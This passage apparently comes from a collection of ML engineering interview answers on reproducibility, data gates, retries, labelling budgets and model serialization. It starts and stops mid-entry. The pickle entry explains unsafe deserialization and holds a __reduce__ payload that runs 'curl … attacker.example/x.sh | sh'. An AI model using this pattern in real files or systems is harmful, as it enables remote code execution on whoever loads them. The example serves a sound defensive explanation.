Distinct per epoch, identical on any machine, no dependence on process state. The seeds are provably distinct; the permutations they produce are distinct with overwhelming probability (8! = 40,320 orderings for a batch of 8), which is why you confirm it empirically rather than by argument.
| Setup | Same order every epoch? | Rerun reproduces? |
|---|---|---|
| No seed set | No | No |
| One global seed, set once | Yes | Yes |
| Root seed, derived per epoch | No | Yes |
Root seed via hash(f"{run_name}-{epoch}") | No | Only if PYTHONHASHSEED is pinned |
Failure modes and how to detect them.
- Fixed global seed. Detect by logging the first 8 sample indices of each epoch and asserting the lists differ; if they are identical across all 40 epochs, you have it. On one 40-epoch run I measured 1.4 points of validation accuracy lost to the fixed-seed version: a single run, not a benchmark, so treat it as a reason to check your own curve, not a number to quote.
hash()on a string. Python randomisesstrandbyteshashing per process, sohash(f"{run_name}-{epoch}")gives a different seed on every launch unlessPYTHONHASHSEEDis set. Detect by printing the derived seed in two separate processes and diffing. Integer arithmetic ornp.random.SeedSequence(root).spawn(n_epochs)avoids it.- Resume from checkpoint. If you save only model weights, the resumed run starts epoch e from batch 0 of a freshly derived order and silently replays batches already seen. Save
(epoch, step)and skip the firststepbatches of that epoch's order, cheap and deterministic, or persist the sampler's RNG state. - DataLoader workers. With
num_workers > 0and noworker_init_fn, workers fork with the parent's RNG state and can emit identical augmentation streams. Detect by logging a random augmentation parameter per worker for the first batch; duplicates mean the hook is missing. DistributedSamplerwithoutset_epoch. Every rank reshuffles to the same shard order each epoch. Detect by comparing the first index each rank sees in epoch 0 and epoch 1.
Trade-off. Order reproducibility is cheap and is what you need. Bitwise reproducibility of the loss curve is not: it needs torch.use_deterministic_algorithms(True) and cudnn.benchmark = False, which costs throughput, and it still breaks across GPU architectures and driver versions. If you are running a one-off evaluation, or you deliberately want maximum augmentation diversity and will never need to replay the run, skip the derivation and just leave the seed unset, but then record that you did.
Curated: · Written: · Reviewed:
Q&A-93Your artefact is a pickle file. What is the objection?
The objection is that loading a pickle is executing code, and the file is bound to the exact Python and library versions that wrote it. A pickle is not a data format with a schema; it is a program for rebuilding objects, and rebuilding means calling whatever the file names. So a pickle artefact is unsafe to load from anywhere you don't control, and fragile to load anywhere the environment has moved on. Those are two separate objections and both bite in production.
Clarify first: if the pickle never crosses a boundary (a multiprocessing queue inside one process tree, a cache on the same host) there is no objection, because both ends are the same code. The objection applies to an artefact in a registry, pulled by a serving container, possibly built by a different team months earlier.
Why loading is execution
Pickle is a stack VM. Opcodes name a callable by module path and then call it:
import os, pickle
class Payload:
def __reduce__(self):
return (os.system, ("curl -s https://attacker.example/x.sh | sh",))
blob = pickle.dumps(Payload()) # ~70 bytes of inert data
pickle.loads(blob) # the shell command runs here
Trace it: dumps calls __reduce__ and gets back (os.system, (cmd,)). The pickler writes GLOBAL 'posix system' (on Linux that is os.system's qualified name), then the string, then TUPLE1, then REDUCE. On loads, the unpickler resolves posix.system through find_class, pushes it and the argument tuple, and REDUCE calls it. The command runs before any type check, schema validation or hash comparison you planned to do afterwards. python -m pickletools model.pkl prints those opcodes without executing them, which is the only safe way to look inside.
Why it is version-bound
Every object is stored as a module path plus state. Rename a private module and the load fails with ModuleNotFoundError; NumPy 2.0 renamed numpy.core to numpy._core and kept a numpy.core stub so pickles recording numpy.core.multiarray._reconstruct still load. Worse than a failed load is a successful one: unpickling restores only the attributes that were saved and lets the current class supply the rest, so a changed default silently changes predictions. A model that loads and scores differently is harder to catch than one that refuses to start.
| pickle | safetensors | ONNX | |
|---|---|---|---|
| Executes code on load | yes | no | no |
| Self-describing | no | yes (JSON header) | yes (protobuf schema) |
| Survives library upgrades | no | yes | yes, within an opset |
| Loadable outside Python | no | yes | yes |
Failure modes and how you catch them
- Arbitrary code execution on load. Detected by never loading outside a controlled registry; a restricted
find_classis whack-a-mole, not a boundary. - Load failure after a dependency bump. Detected by loading every registered artefact in a clean container built from the pinned runtime, not in the training environment.
- Silent behaviour change. Detected by scoring a fixed golden input and comparing to the value recorded at registration, with a tolerance.
- No provenance. A pickle carries no library versions, so the registry entry has to, and the artefact hash has to be checked against it.
What to use instead
Weights go in safetensors: a JSON header plus raw tensors, no code path on load, memory-mappable. A full graph goes in ONNX or the framework's own saved format, with the runtime version pinned in the registry entry. For scikit-learn pipelines, skops or ONNX; scikit-learn's own persistence docs warn that models pickled under one version may not load under another. Keep pickle for intra-process transport, where the trust boundary does not exist.
Curated: · Written: · Reviewed:
Q&A-91You want timing and metric logging on every stage without editing each one. How?
Wrap the stage boundary once, at the point stages are registered or dispatched, not inside each stage. A decorator applied at definition time still means editing every stage, which is the thing you were asked to avoid; a decorator applied by the registry means you edit the registry once and every stage that goes through it is measured from then on.
import functools, inspect, logging, time
log = logging.getLogger("pipeline")
class Registry:
def __init__(self):
self.stages = {}
def stage(self, fn):
if inspect.isgeneratorfunction(fn):
@functools.wraps(fn)
def run(*a, **kw):
t0 = time.perf_counter()
try:
yield from fn(*a, **kw)
finally:
log.info("stage=%s ms=%.1f", fn.__name__,
(time.perf_counter() - t0) * 1000)
self.stages[fn.__name__] = run
return run
@functools.wraps(fn)
def run(*a, **kw):
t0 = time.perf_counter()
try:
return fn(*a, **kw)
finally:
log.info("stage=%s ms=%.1f", fn.__name__,
(time.perf_counter() - t0) * 1000)
self.stages[fn.__name__] = run
return run
reg = Registry()
@reg.stage
def load(path): ...
@reg.stage
def featurize(rows): ...
Trace: @reg.stage on load replaces the module-level name load with run and stores it under "load". Calling reg.stages["load"]("/data/x.parquet") enters run, takes t0, calls the original load, and the finally emits one line before returning. A raising stage emits the same line and re-raises, so failures are timed too. The generator branch matters: without it, run would call fn(...), get a generator object back in microseconds, and log ms=0.0 while the real work happens later during iteration. With it, run is itself a generator, so t0 is taken on the first next(), when iteration actually starts, and the finally fires when the generator is exhausted or closed.
Illustrative output of one run:
stage=load ms=412.7
stage=featurize ms=1883.4
stage=train ms=241905.1
Alternatives, and when each wins:
| Approach | Edits per stage | Blind to | Use when |
|---|---|---|---|
| Decorator at definition | one per stage | nothing | few stages, you own them all |
| Registry/dispatch wrapper | zero | stages called directly, bypassing the registry | stages are registered in one place |
Runner hook (on_stage_start/on_stage_end in the loop) | zero | work outside the runner | the runner is the only caller |
| OTel/APM auto-instrumentation | zero | your logical stages: you get HTTP/DB spans, not featurize | you need cross-process traces more than stage timings |
| Web middleware | zero | anything in-process | request/response boundaries only |
The registry wrapper is the default because it satisfies "without editing each one" and keeps the label set bounded: one stage label value per stage, so cardinality is the number of stages, not the number of runs. Do not put input shape in a metric label; that is unbounded.
Failure modes I would check for:
- A stage called directly (
load(...)instead ofreg.stages["load"](...)) is invisible. Detect it with a test asserting the set of stages logged in one run equalsset(reg.stages): that test fails the moment someone adds a stage that never goes through the registry. - Async stages: a sync wrapper around a coroutine returns the coroutine and times nothing. Needs an
async defwrapper. - Recursive or nested stages double-count; the outer span includes the inner.
- Third-party stages you cannot decorate, or a config-driven DAG where stages are strings resolved at runtime: instrument the resolver, not the functions.
If stages live in another process or service, a decorator cannot carry context across the boundary; that is where OTel context propagation earns its keep, and the decorator is the wrong tool.
Curated: · Written: · Reviewed:
Q&A-16Two engineers train the same configuration and get results 1.8 points apart. What is missing?
What's missing is the noise floor.
Two runs of "the same configuration" differing by 1.8 points tells you nothing until you know the seed-to-seed spread of that configuration on that eval set. If five seeds span 1.8 points, the two engineers got the same result and are comparing draws from one distribution. If five seeds span 0.2 points, something else differs and there is a real bug to find. So the first question back is: what is the standard deviation across seeds here? Everything else is downstream of that number.
"Same configuration" is also doing a lot of work. A shared config file is not a shared run.
Where the 1.8 points comes from, roughly in order of how often it bites:
- Data order: shuffling seed, sampler seed, whether the last partial batch is dropped. Different order, different SGD trajectory.
- Augmentation and dropout RNG. Separate streams; one global seed set at startup does not cover them if dataloader workers fork.
- Weight initialisation.
- Kernel nondeterminism. cuDNN picks algorithms by benchmark; atomic-based reductions (scatter-add, some attention backward paths) accumulate in nondeterministic order. Same seed, same data, different bits.
- Thread and device count:
torch.set_num_threads, dataloader workers, number of GPUs and the reduction order across them. - Environment and eval: framework/CUDA/cuDNN/driver versions, GPU model, the data snapshot, and on the eval side the metric implementation, eval-set version and any threshold selection.
Items 1–3 and 6 are cheap to pin and usually explain most of the gap. Item 4 is the one people miss.
The trade-off. You can force bitwise reproducibility:
import torch
torch.manual_seed(0)
torch.use_deterministic_algorithms(True)
torch.backends.cudnn.benchmark = False
# CUDA >= 10.2 also needs, before the first CUDA call:
# export CUBLAS_WORKSPACE_CONFIG=:4096:8
That buys identical bits on identical hardware, at a throughput cost: deterministic kernels give up the fastest algorithm choices, and a few ops have no deterministic implementation and will raise instead. Measure the hit on your own workload: often single-digit percent, but much worse when the deterministic path forces a fallback kernel.
The alternative is to accept nondeterminism and quantify it: run N seeds, report mean ± std, and treat any claimed improvement smaller than the spread as unmeasured. That costs N× compute but no per-run throughput, and it is the only option when you cannot pin the hardware: multi-tenant clusters, mixed GPU generations.
A third option reduces variance instead of measuring it. Averaging k independent runs shrinks the std of the mean by roughly √k; averaging checkpoints from one run helps less because their errors are correlated. A larger eval set does the same thing for the metric.
When not to bother. If the effect you are chasing is 5 points and the seed spread is 0.3, pinning is overhead. Bitwise reproducibility earns its cost when you are bisecting a regression, when a result must be audited, or when the effect size is comparable to the noise.
The failure mode. A team shipped a model on a 0.6-point AUC gain. Five seeds of the old config spanned 1.8 points:
| Seed | Validation AUC |
|---|---|
| 1 | 0.842 |
| 2 | 0.858 |
| 3 | 0.849 |
| 4 | 0.860 |
| 5 | 0.845 |
Mean 0.851, sample std 0.008 (0.8 points), range 1.8 points. The gain sat inside one std. Detect it by making the seed sweep a gate: no improvement is reported without the spread printed beside it.
Curated: · Written: · Reviewed:
Q&A-15A prediction from three months ago is disputed. What do you need to reproduce it?
The 90-second answer. To reproduce a prediction you need the exact inputs and the exact code path that produced it, captured at scoring time rather than reconstructed later. Four things, pinned together: the model artifact (content hash), the feature values actually fed to the model, the feature-definition version, and the serving code commit plus runtime config. Calibrator, decision thresholds, library versions. With those, reproduction is a rerun and a comparison. Without them you are guessing, and a disputed decision you cannot rerun is one you settle.
The assumption that decides the approach: are your upstream data sources immutable? If feature tables are append-only and feature code is versioned, you can recompute features from a snapshot id and skip storing vectors. If anything is edited in place, common in practice, recomputation gives you today's features, not the ones that scored three months ago.
The hard part is features, not the model. Model artifacts are immutable by construction, so a hash pins them. Feature pipelines mutate. A definition edited in place twice since scoring means the same snapshot id now yields different values. The cheapest durable guarantee is to log the feature vector itself at scoring time.
Alternatives, with costs.
| Approach | What you store | Storage cost | Breaks when |
|---|---|---|---|
| Log everything | full feature vector + model id + config per prediction | ~2 KB/vector; 10M predictions/day ≈ 20 GB/day, ~7 TB/yr | never, if retention holds |
| Registry-only | model hash, snapshot id, feature version, commit | KBs per model | source tables or feature code edited in place |
| Hybrid | full vectors for regulated decisions, hash + version for the rest | ~10% of log-everything | sampling misses the disputed row |
Log-everything is roughly 7 TB/year at 10M predictions/day: trivial against the cost of settling a disputed credit decision, and the write is async so it adds no serving latency. Registry-only is fine for internal ranking where a wrong answer costs nothing. Most regulated teams land on the hybrid.
Failure modes to name. Train/serve skew: the training pipeline computed a feature one way, serving another. Time-dependent features ("days since last login") computed at scoring time cannot be recomputed later without the original clock. Non-determinism: GPU kernels, thread counts and tokenizer versions shift outputs at the 1e-5 level, so state a tolerance instead of demanding bit-exactness.
How you would prove it. Take 10 disputed predictions older than 90 days. For each, pull the registry id, fetch the stored feature vector, rerun the model at the pinned commit, and compare. Tree models should match exactly; neural nets within 1e-5 relative. If the reproduced probability lands on the other side of the decision threshold, that is the finding.
Curated: · Written: · Reviewed:
Q&A-17How do you keep a six-week modelling effort from becoming folklore?
A six-week modelling effort becomes folklore when the only record of what was tried is in people's heads. The fix is to treat the run record as a first-class artefact: log every run automatically from the training entry point, store the config diff against the current best, and require the promoted model to reference the run that produced it. That's the 60-second answer.
Assume a team of 2-4 engineers, a shared codebase, and a promotion decision at the end. If it's a one-off spike by one person on a fixed dataset, the calculus changes.
The trade-off is between tracking overhead and the cost of re-running. Three regimes:
| Regime | Setup | Per-run cost | Query | When it pays off | When it doesn't pay off |
|---|---|---|---|---|---|
| Manual notes | 0 | 5-10 min | grep in doc | never for a six-week effort | any six-week effort with >1 engineer |
| Lightweight automated (JSON line or MLflow local) | 1-2 h | seconds | jq / MLflow UI | 2-4 engineers, <500 runs, promotion gate | one-off spike, fixed dataset |
| Heavyweight (MLflow/W&B server + artifact store) | 0.5-1 day | seconds | SQL, cross-run aggregation | >4 engineers, seed aggregation, audit | small team, no promotion |
For a six-week effort with a promotion gate, lightweight automated is the minimum. Manual gets skipped under deadline. Heavyweight is worth it when you need to compare seeds or audit, but the setup cost is not justified for a one-off spike.
Here is what the minimum looks like in MLflow 2.x:
import mlflow
with mlflow.start_run():
mlflow.log_params({"model": "lgbm", "num_leaves": 63, "learning_rate": 0.05,
"features": "v7", "snapshot": "2026-06-01"})
mlflow.log_metrics({"auc": 0.844, "pr_auc": 0.281, "ece": 0.021})
mlflow.log_artifact("model.txt")
mlflow.set_tag("beats_baseline", "0.844 vs 0.831, seeds n=5, sd=0.004")
The failure modes are concrete. Hand-logging gets skipped under deadline. Logging every gradient step makes the store unusable. Not versioning the data snapshot means you can't reproduce. Not linking the promoted model to the run means you can't answer "what produced this?" Detection: ask for the run that produced the current production model and confirm its config and dataset can be recovered without asking a person. A new engineer should be able to reproduce the best result from the record alone.
Say a team re-ran the same failed feature-hashing experiment three times across six weeks because the only record was one engineer's memory. At 40 GPU hours and nine working days, that's roughly $80 in compute at $2/GPU-hour and 27 person-days if three engineers were involved. A lightweight automated log would have caught it after the first run.
Untracked experiments are paid for twice and remembered once.
Curated: · Written: · Reviewed:
Q&A-72What should stop a training run before it starts?
The 90-second answer. A run should stop before the first step when a check fails on something silent and unrecoverable: the data no longer matches the schema the feature code expects, a required feature that used to be populated is now mostly null, the row count collapsed, the snapshot is stale, or labels leak into features. None of those crash training. They produce a model that trains cleanly and is wrong, so nothing downstream catches them.
Assumption I'd state out loud: there is a previous successful run to compare against. Without a baseline, only absolute checks are available, and they catch far less.
The part people get wrong is treating every check as a hard gate. A hard gate that fires on good data blocks every downstream experiment, and the team's fix is a --skip-validation flag. At that point the gate protects nothing. So I split by failure shape:
HARD = [ # structural break: stop the run
expect_columns(df, SCHEMA_V7), # types included
expect_rows_between(df, 0.85 * last_n, 1.15 * last_n),
expect_freshness(df, max_age_hours=26),
expect_null_rate(df, "amount_usd", max=0.02), # required feature
expect_no_label_leak(df, LABEL_COLS),
]
SOFT = [ # distribution shift: train, tag, block promotion
expect_category_overlap(df, "country", prior, min=0.95),
expect_psi(df, prior, "amount_usd", max=0.2),
]
The line is structural versus distributional. A schema break, a null explosion in a required feature, or a row-count collapse has no legitimate cause, if it happened, the data is wrong. A category set shifting or a feature's distribution moving is exactly what a new market launch looks like, and it is indistinguishable from a break at gate time. Hard-failing those means the gate fires on real business changes until someone disables it.
Thresholds come from history, not intuition. Row-count bounds from the observed spread of the last 30 snapshots; the null-rate ceiling from that column's historical p99 plus margin. The calibration test is the fire rate on data you would have shipped anyway: if a hard gate fires more than roughly one run in twenty on good data, loosen it or demote it to soft.
The middle option is worth naming, because it is often right: quarantine. Train the model, register the artifact as un-promotable, and page the owner. You spend one GPU run and lose no pipeline time, and the decision lands where the cost actually is: promotion, not training.
Gates fail in their own ways. A check on a column that is always null passes vacuously and never fires; assert the check's own coverage. A gate that pages weekly gets bypassed; count bypasses as a metric and treat any nonzero value as a broken gate. And a null-rate check passes while values shift underneath it: a currency column arriving in cents has a perfect null rate. Compare summary statistics, not just presence.
That last one is the failure I'd design against. An upstream schema change made a currency column arrive as text, the pipeline coerced it to nulls, and a model trained on 100% nulls in a top-three feature was promoted before anyone noticed. That is why null rate on a required feature is hard, not soft.
I would not call the suite settled without evidence: replay it against the last 30 training snapshots and report two numbers. Whether it would have failed the run that shipped the defect, and how many good runs it would have blocked. A gate that catches the defect and blocks twelve healthy runs is a different decision from one that catches it and blocks none.
A training job that cannot fail on bad data will publish it instead.
Curated: · Written: · Reviewed:
Q&A-74A training task retries after a partial write. What must be true for that to be safe?
What has to be true
Two properties, and they are separate:
- The visibility boundary is atomic. Downstream tasks see the whole partition or none of it. A retry that dies mid-write leaves nothing readable.
- The task is idempotent at its output key. Re-running with the same run id and the same input snapshot converges to the same final state, not a second copy.
Both hold, retries are free. Only (1) holds, a retry that completes twice still duplicates. Only (2) holds, a reader can catch you mid-write.
The default: stage, gate, commit
Write to a run-scoped staging path, check it, then make it visible in one commit.
# Spark 3.5, Delta 3.x
staging = f"s3://features/_staging/date={ds}/run={run_id}/"
df.write.mode("overwrite").parquet(staging) # same path on retry
assert row_count(staging) == expected_rows # gate
assert duplicate_keys(staging, "user_id") == 0
(spark.read.parquet(staging)
.write.format("delta").mode("overwrite")
.option("replaceWhere", f"date = '{ds}'")
.save("s3://features/delta/features")) # one atomic commit
Trace a retry. Attempt 1 writes staging, passes the gate, dies before the commit: nothing visible; the retry rewrites the same staging path and commits. Attempt 2 dies after the commit: the retry re-issues replaceWhere for the same date, which replaces the partition with the same rows rather than appending. Either way the final state is one copy. The staging path is keyed by run_id, not by attempt, so a retry overwrites instead of accumulating.
Alternatives, and when they are better
| Approach | Atomicity from | Cost | Wrong when |
|---|---|---|---|
| Stage + atomic commit (Delta/Iceberg/Hudi) | the table format's commit log | one extra copy of the partition | partitions are tiny and commit overhead dominates |
| Exactly-once sink (Kafka transactions, Flink 2PC) | the sink's transaction protocol | needs sink support; longer transaction windows | batch jobs writing to a plain object store |
| Dedupe-on-read | a run/attempt column, latest-wins at read | every reader pays, and one that forgets silently double-counts | readers cannot be changed |
| Orchestrator checkpoint/resume | task-level state | only works if the task can resume mid-partition | the task cannot be split |
When byte-identical is too expensive
Asserting byte-identical output is a cheap, strong check, but only when the task is deterministic. It is not if you sample without a pinned seed, reduce floats across partitions in nondeterministic order, stamp now(), mint UUIDs, or iterate a hash map whose order varies. Forcing determinism there can cost more than the write: pinning seeds and sorting a large shuffle is real work.
Fall back to a canonical digest: sort by primary key, drop volatile columns, hash the rest. That still catches the duplicate-append failure, which is the one that actually bites.
Failure modes and how you see them
- Partial visibility. A reader sees 40% of a day's rows. Detect: per-partition row count against expected, plus a freshness monitor.
- Duplicate append. A retried feature job appended a second copy of one day's rows: 1.4% of the training set, enough to shift class balance and move the chosen threshold. Detect: duplicate-key count per partition.
- Gate/commit race. Another writer commits between your assert and your commit. Detect: the table format raises a commit conflict (Delta's
ConcurrentModificationException); retry the commit, not the whole task. - Staging leak. Retries leave orphan staging directories. Detect: age alarm on the staging prefix.
Curated: · Written: · Reviewed:
Q&A-75Who signs off on a $40,000 training run, and on what evidence?
For a $40,000 training run, the sign-off is the engineering director who owns the ML compute budget, with a second signature from finance or FinOps if the run exceeds the team's pre-approved monthly compute envelope. The evidence is a pilot at 5% of the data with measured cost and validation metric, an extrapolation to full scale, a hard budget cap, and a checkpointing interval. No pilot, no cap, no signature.
Approval chain (illustrative thresholds; adjust to your org):
| Run cost | Approver | Evidence required |
|---|---|---|
| < $2k | ML engineer + tech lead | None beyond normal sprint planning |
| $2k–$10k | Tech lead + engineering manager | Cost estimate, expected metric gain |
| $10k–$50k | Engineering director + finance/FinOps | 5% pilot, extrapolation, hard cap, checkpoint interval |
| > $50k | VP Engineering + finance | Above, plus a written expected-benefit statement and a stop condition |
The $40k run sits in the third row: director signs, finance countersigns.
What the evidence looks like. A pilot at 5% of the data (worked example, hypothetical figures):
| Scale | GPU hours | Cost | Validation AUC |
|---|---|---|---|
| 5% pilot | 9 | $290 | 0.812 |
| Extrapolated 100% | 180 | $5,800 | 0.84 estimated |
| Actual, no cap | 1,290 | $41,300 | 0.843 |
Arithmetic: 9 GPU hours × 20 = 180 GPU hours; $290 × 20 = $5,800. That is the number the director approves. The actual run hit $41,300 because the learning rate schedule was set for a dataset four times smaller, so the run kept stepping long after the loss plateaued. It was stopped when the invoice arrived, not by a cap. The pilot would have caught the schedule mismatch if the pilot used the same schedule as the full run.
Alternatives for the approval decision. If the run is on reserved or committed capacity already paid for, the marginal cost is near zero; then the platform lead signs off on queue priority, not finance. If the run uses spot instances, the cost is lower but preemption risk is higher; the tech lead can approve with evidence that checkpointing works and that a preempted run can resume. If the team has a fixed research budget already approved, the director approves the envelope, not each run; the tech lead approves individual runs inside it.
When the control does not apply. For a run under $2k, a pilot is overhead; the tech lead can approve on a one-line estimate. For a run that is the only way to hit a contractual deadline, the director may approve without a pilot but with a hard cap and a checkpoint interval, and the finance counter-signature becomes a notification.
Failure modes to name in the approval. No cap: the run is an open-ended purchase order. No checkpointing: you cannot stop it early without losing all progress. No pilot: you are approving an extrapolation you never measured. The evidence that prevents these is the pilot table above, the cap, and the checkpoint interval.
Curated: · Written: · Reviewed:
Q&A-50You can afford 5,000 new labels. Which rows do you send to annotators?
Send 5,000 rows in three buckets, not one: roughly 3,500 by uncertainty, 750 to cover slices the model rarely sees, 750 random. Re-rank after every round, because the model changes as labels land.
| Bucket | Rows | Selection rule | Why it earns its share |
|---|---|---|---|
| Uncertainty | 3,500 | highest 1 − margin among rows with production traffic | labels near the decision boundary move the boundary most |
| Coverage | 750 | stratified by slice (locale, device, query class), oversampling rare slices | uncertainty ranking is blind to slices the model is confidently wrong about |
| Random | 750 | uniform over the unlabelled pool | keeps an unbiased holdout and catches drift |
Why uncertainty first. A row the model already predicts at 0.97/0.03 carries almost no gradient: you pay an annotator to confirm what the model knows. A row at 0.51/0.49 is where the loss is largest and where one label can flip a prediction. Margin (top-1 minus top-2 probability) is the cheap version; entropy is the same ranking for two classes and diverges only with many classes.
Worked trace on six unlabelled rows, two classes:
| Row | p | margin | 1 − margin |
|---|---|---|---|
| r4 | 0.50 / 0.50 | 0.00 | 1.00 |
| r1 | 0.51 / 0.49 | 0.02 | 0.98 |
| r6 | 0.55 / 0.45 | 0.10 | 0.90 |
| r3 | 0.62 / 0.38 | 0.24 | 0.76 |
| r5 | 0.88 / 0.12 | 0.76 | 0.24 |
| r2 | 0.97 / 0.03 | 0.94 | 0.06 |
Ranked order is r4, r1, r6, r3, r5, r2. With a 3,500-row budget you take the top of that list until it runs out, then fall through to the coverage and random buckets.
Failure modes, and how you see them.
- Miscalibrated model. Uncertainty scores are only as good as the probabilities behind them. A model that outputs 0.99 for everything gives you a flat ranking and you are back to random. Detect with a reliability curve and expected calibration error on the holdout; if ECE is above roughly 0.05, temperature-scale before ranking.
- Annotator disagreement concentrates on the uncertain rows: those are exactly the ambiguous ones. Double-annotate 5–10% of each bucket and track agreement. If agreement on the uncertainty bucket collapses while the random bucket stays clean, you are buying noise, and the AUC gain disappears.
- Feedback loop. After two rounds the model has trained mostly on hard rows and becomes overconfident on easy ones, so the uncertainty ranking starves. The random bucket is the detector: holdout AUC on the random slice should track the stratified slice. If it diverges, the model is drifting.
- Redundancy. Near-duplicate rows (same query, same user, same incident) all score high. Dedupe by exact key or embedding before ranking, or 200 labels go to one event.
Alternatives, and when not to use uncertainty. Pure random is the right call when the model is badly calibrated and you cannot trust its probabilities at all, or when the goal is a clean estimate rather than a gain. Core-set / k-center diversity on embeddings beats margin when the pool is huge and redundant, but it costs an embedding pass and can select unrepresentative outliers. Query-by-committee or BALD is more robust when you can afford an ensemble, since committee disagreement is a stronger signal than one model's margin.
How to commit the budget. Run a 500-label pilot under each candidate strategy on the same pool, measure ΔAUC per 1,000 labels on a fixed holdout, then spend the remaining 4,500 on the winner. Do not commit all 5,000 to one strategy before you have that number.
Arithmetic (hypothetical, at $0.75 per label). 5,000 labels cost $3,750. A random sample gaining +0.004 AUC costs $937.50 per 0.001 AUC; an uncertainty-ranked sample with a 20% random component gaining +0.021 AUC costs $178.57 per 0.001 AUC. Same budget, roughly five times the return, which is the whole argument for ranking before you annotate.
Curated: · Written: · Reviewed:
Q&A-51Two annotators disagree on 18% of examples. What does that mean for your model?
It means your labels, not your model, are the binding constraint, but 18% raw disagreement is not yet a number you can act on. Two things have to happen first: chance-correct it, and find out where it lives.
The ceiling. 18% disagreement is 82% raw agreement. Take 1,000 examples: 180 are ones the two annotators label differently. If a model reproduced annotator A's labels exactly, it would agree with annotator B on 820 of them: 82%. No model can match both annotators on the 180 they disagree about. So any accuracy target above 82% is unmeasurable against these labels, whatever the model actually learned.
Chance-correct before you believe it. Raw agreement is inflated by class imbalance. Cohen's kappa is (p_o − p_e)/(1 − p_e), where p_e is the agreement two annotators would reach by guessing at the same base rates:
| Task class balance | Chance agreement p_e | kappa at 82% raw |
|---|---|---|
| 50/50 | 0.50 | 0.64 |
| 80/20 | 0.68 | 0.44 |
| 90/10 | 0.82 | 0.00 |
On a 90/10 task, 82% raw agreement is exactly what two annotators guessing at the right base rate would produce: kappa 0.00, no signal at all. On a balanced binary task the same 82% is kappa 0.64, which the Landis–Koch convention (1977) calls substantial. Same number, opposite conclusion. Report kappa, or Krippendorff's alpha if you have more than two annotators or missing labels, and never raw agreement alone.
Find where the disagreement lives. 18% overall can be 4% on one class and 45% on another; the second class's labels are unusable and every per-class metric on it is noise. Slice disagreement rate by class, input length and source. Then pull 50 disagreements and adjudicate them by hand. If most are genuine ambiguity, two defensible readings of the guideline, the task definition is the problem and no model fixes it. If most are annotator error, retrain the annotators and re-measure before touching the model.
What to do. Adjudicate the evaluation set: three annotators plus a tie-break gives a gold label, and the model is scored against that rather than one annotator's opinion. Training labels can stay single-pass if cost matters; the eval set is where the ceiling bites.
One caveat worth saying out loud: 18% disagreement caps what you can measure, not what the model can achieve. If adjudication recovers the true label on most of those 180, a model can legitimately beat 82%: you just cannot see it until the eval set is adjudicated.
The failure to watch for: a team sets an 88% target against labels with 82% agreement and spends a quarter chasing six points that are label noise. Detect it by intersecting the model's errors with the disagreement set, if the mistakes concentrate on examples the annotators disagreed about, you are fitting noise, not learning the task.
Curated: · Written: · Reviewed:
Q&A-41The assistant answers in the right tone but states product facts that changed last month, and the team proposes fine-tuning on 6,000 freshly written Q&A pairs. What do you do instead, and how do you evaluate it?
I would treat prompting, retrieval, or fine-tuning as a measurement problem before treating it as a modelling problem.
Retrieval changes what the model can cite and fine-tuning changes how it answers, so facts that drift belong in an external store that can be updated without touching the weights; only behaviour (format, tone, task shape) is worth putting into the weights.
Concretely, start from a prompt-only baseline scored on a frozen eval set, move the drifting facts into a retrieval step that returns the source passages with the answer, and fine-tune last and only if behaviour still fails, reporting accuracy, cost per 1,000 requests and p95 latency for every configuration you try.
The reason for that specificity is a failure I have seen: A team fine-tuned a 7B model on 6,000 domain Q&A pairs to fix stale facts: it scored 92% on a held-out 20% of those same pairs but 41% on questions about the twelve SKUs whose prices changed after the pairs were written, below the 67% the prompt-only baseline already had, and every subsequent price change meant a full retrain and re-evaluation cycle.
Illustrative numbers for a support assistant at 3,000 requests/day, same 400-question eval set (hypothetical).
| Configuration | Accuracy on facts changed after cutoff | Cost per 1k requests | p95 latency |
|---|---|---|---|
| Prompt only | 62% | $1.10 | 900 ms |
| Prompt + retrieval | 87% | $1.90 | 1,400 ms |
| Fine-tuned, no retrieval | 71% | $0.80 | 850 ms |
| Fine-tuned + retrieval | 89% | $1.60 | 1,350 ms |
I would not consider it settled without evidence: Name one slice of questions the fine-tuning data could not have contained, facts that changed after the data was written, and report accuracy, cost per 1,000 requests and p95 latency for prompting, retrieval and fine-tuning on the same frozen eval set.
Fine-tune for how the model answers; retrieve for what it answers about.
Curated: · Written: · Reviewed:
Q&A-46You are asked to detect anomalies with no labelled examples. How do you proceed and how do you evaluate?
The first 90 seconds
Assume no labels, but assume I can buy a few hundred cheaply by having humans adjudicate a sample. That assumption is the whole plan. If nobody can adjudicate anything, I can still ship a detector, but I cannot claim it works, and I say that out loud rather than shipping a score nobody trusts.
So: define normal explicitly, score against it, and set the operating point from investigation capacity rather than from a threshold that looks round.
Modelling normal
Pick by data shape.
- Density: fit a mixture or a histogram over engineered features, score by negative log-likelihood. Good when features are low-dimensional and roughly stationary.
- Reconstruction: PCA or an autoencoder over a fixed window, score by reconstruction error. Handles correlated high-dimensional telemetry; needs consistent scaling.
- Distance: k-NN or isolation forest. No training loop, but degrades when normal is multi-modal.
Fit on a window I believe is clean, then hold out a later window and check the score distribution has not moved.
Choosing the threshold
Not from the score distribution. From capacity. If the team can investigate 40 alerts a day and the stream produces 900,000 events a day, the threshold is whatever yields about 40 alerts. That is the only number that matters operationally.
Getting labels to evaluate
Score everything, sample stratified by score band, have investigators adjudicate. Precision per band becomes estimable; recall does not, without injected anomalies.
| Score band | Events/day | Sampled | Actionable | Est. precision |
|---|---|---|---|---|
| 0.95-1.00 | 320 | 100 | 71 | 0.71 |
| 0.80-0.95 | 4,100 | 100 | 22 | 0.22 |
| 0.50-0.80 | 31,000 | 100 | 3 | 0.03 |
300 adjudications total, 100 per band, which is enough to separate 0.71 from 0.22 but not to pin 0.03 tightly.
The arithmetic that decides the operating point: alerting above 0.95 gives 320 alerts/day at 71% precision. Alerting above 0.50 gives 35,420 alerts/day at 5.8% precision (227 + 902 + 930 actionable out of 35,420). Same model, two very different jobs.
Recall
Precision alone lets a detector that never fires look perfect. Estimate recall by injecting known anomalies: replay historical incidents, or plant synthetic ones (a pod that OOMs, a config change that breaks a dependency) and check the score at the chosen threshold. Report recall alongside precision or the number is half a number.
Failure modes
- Concept drift. Normal moves after a new service or a deploy-cadence change. Watch the alert rate and the score quantiles; if the 99th percentile moves 3x in a week, refit.
- A fixed alert budget hides precision collapse. If the stream grows, a fixed threshold fires more; a fixed budget silently raises the cut and can drop real anomalies. Track both.
- Adjudication bias. Investigators tire and mark the tail as noise. Randomise order and seed known positives to measure their hit rate.
The failure I would cite
